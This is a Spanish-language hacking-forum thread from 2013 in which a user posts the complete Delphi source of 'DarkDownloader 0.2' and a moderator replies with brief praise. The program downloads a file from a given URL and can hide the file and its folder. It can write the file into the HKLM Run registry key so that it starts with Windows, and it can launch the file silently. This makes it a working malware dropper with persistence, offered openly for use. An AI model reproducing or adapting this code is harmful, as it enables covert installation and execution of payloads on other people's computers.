elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DarkDownloader 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DarkDownloader 0.2  (Leído 1,611 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DarkDownloader 0.2
« en: 6 Julio 2013, 17:07 pm »

Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

El codigo :

Código
  1. // DarkDownloader 0.2
  2. // Coded By Doddy H
  3.  
  4. unit down;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  11.  sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
  12.  sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    sSkinManager1: TsSkinManager;
  17.    IdHTTP1: TIdHTTP;
  18.    sGroupBox1: TsGroupBox;
  19.    sEdit1: TsEdit;
  20.    Button1: TButton;
  21.    sStatusBar1: TsStatusBar;
  22.    sProgressBar1: TsProgressBar;
  23.    sGroupBox2: TsGroupBox;
  24.    sEdit2: TsEdit;
  25.    sEdit3: TsEdit;
  26.    sCheckBox1: TsCheckBox;
  27.    sCheckBox2: TsCheckBox;
  28.    sCheckBox3: TsCheckBox;
  29.    sCheckBox4: TsCheckBox;
  30.    Image1: TImage;
  31.    sCheckBox5: TsCheckBox;
  32.    sRadioButton1: TsRadioButton;
  33.    sRadioButton2: TsRadioButton;
  34.    procedure Button1Click(Sender: TObject);
  35.  
  36.    procedure FormCreate(Sender: TObject);
  37.  
  38.    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  39.      AWorkCountMax: Int64);
  40.    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  41.      AWorkCount: Int64);
  42.    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  43.  private
  44.    { Private declarations }
  45.  public
  46.    { Public declarations }
  47.  end;
  48.  
  49. var
  50.  Form1: TForm1;
  51.  
  52. implementation
  53.  
  54. {$R *.dfm}
  55.  
  56. function getfilename(archivo: string): string;
  57. var
  58.  test: TStrings;
  59. begin
  60.  
  61.  test := TStringList.Create;
  62.  test.Delimiter := '/';
  63.  test.DelimitedText := archivo;
  64.  Result := test[test.Count - 1];
  65.  
  66.  test.Free;
  67.  
  68. end;
  69.  
  70. procedure TForm1.Button1Click(Sender: TObject);
  71. var
  72.  filename: string;
  73.  nombrefinal: string;
  74.  addnow: TRegistry;
  75.  archivobajado: TFileStream;
  76.  
  77. begin
  78.  
  79.  if not sCheckBox1.Checked then
  80.  begin
  81.    filename := sEdit1.Text;
  82.    nombrefinal := getfilename(filename);
  83.  end
  84.  else
  85.  begin
  86.    nombrefinal := sEdit2.Text;
  87.  end;
  88.  
  89.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  90.  
  91.  try
  92.    begin
  93.      DeleteFile(nombrefinal);
  94.      IdHTTP1.Get(sEdit1.Text, archivobajado);
  95.      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  96.      Form1.sStatusBar1.Update;
  97.      archivobajado.Free;
  98.    end;
  99.  except
  100.    sStatusBar1.Panels[0].Text := '[-] Failed download';
  101.    Form1.sStatusBar1.Update;
  102.    archivobajado.Free;
  103.    Abort;
  104.  end;
  105.  
  106.  if FileExists(nombrefinal) then
  107.  begin
  108.  
  109.    if sCheckBox2.Checked then
  110.    begin
  111.      if not DirectoryExists(sEdit3.Text) then
  112.      begin
  113.        CreateDir(sEdit3.Text);
  114.      end;
  115.      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
  116.      sStatusBar1.Panels[0].Text := '[+] File Moved';
  117.      Form1.sStatusBar1.Update;
  118.    end;
  119.  
  120.    if sCheckBox3.Checked then
  121.    begin
  122.      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
  123.      if sCheckBox2.Checked then
  124.      begin
  125.        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
  126.          FILE_ATTRIBUTE_HIDDEN);
  127.  
  128.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  129.        Form1.sStatusBar1.Update;
  130.      end
  131.      else
  132.      begin
  133.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  134.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  135.        Form1.sStatusBar1.Update;
  136.      end;
  137.    end;
  138.  
  139.    if sCheckBox4.Checked then
  140.    begin
  141.  
  142.      addnow := TRegistry.Create;
  143.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  144.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  145.  
  146.      if sCheckBox2.Checked then
  147.      begin
  148.        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
  149.      end
  150.      else
  151.      begin
  152.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
  153.            + '/' + nombrefinal);
  154.      end;
  155.  
  156.      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
  157.      Form1.sStatusBar1.Update;
  158.  
  159.      addnow.Free;
  160.  
  161.    end;
  162.  
  163.    if sCheckBox5.Checked then
  164.    begin
  165.  
  166.      if sRadioButton1.Checked then
  167.      begin
  168.        if sCheckBox2.Checked then
  169.        begin
  170.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  171.            nil, nil, SW_SHOWNORMAL);
  172.        end
  173.        else
  174.        begin
  175.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  176.            SW_SHOWNORMAL);
  177.        end;
  178.      end
  179.      else
  180.      begin
  181.        if sCheckBox2.Checked then
  182.        begin
  183.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  184.            nil, nil, SW_HIDE);
  185.        end
  186.        else
  187.        begin
  188.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  189.        end;
  190.      end;
  191.  
  192.    end;
  193.  
  194.    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
  195.      sCheckBox4.Checked or sCheckBox5.Checked then
  196.    begin
  197.      sStatusBar1.Panels[0].Text := '[+] Finished';
  198.      Form1.sStatusBar1.Update;
  199.    end;
  200.  
  201.  end;
  202.  
  203. end;
  204.  
  205. procedure TForm1.FormCreate(Sender: TObject);
  206. begin
  207.  sProgressBar1.Position := 0;
  208.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  209.  sSkinManager1.SkinName := 'tv-b';
  210.  sSkinManager1.Active := True;
  211. end;
  212.  
  213. procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  214.  AWorkCount: Int64);
  215. begin
  216.  sProgressBar1.Position := AWorkCount;
  217.  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  218.  Form1.sStatusBar1.Update;
  219. end;
  220.  
  221. procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  222.  AWorkCountMax: Int64);
  223. begin
  224.  sProgressBar1.Max := AWorkCountMax;
  225.  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  226.  Form1.sStatusBar1.Update;
  227. end;
  228.  
  229. procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  230. begin
  231.  sProgressBar1.Position := 0;
  232. end;
  233.  
  234. end.
  235.  
  236. // The End ?
  237.  

Una imagen :



Si quieren bajar el proyecto lo pueden hacer de aca


En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: [Delphi] DarkDownloader 0.2
« Respuesta #1 en: 6 Julio 2013, 17:16 pm »

No lo he bajado, pero se ve muy bueno  ;-), saludos


En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,395 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Perl Tk] DarkDownloader 0.1
Scripting
BigBear 0 1,498 Último mensaje 20 Septiembre 2013, 20:56 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines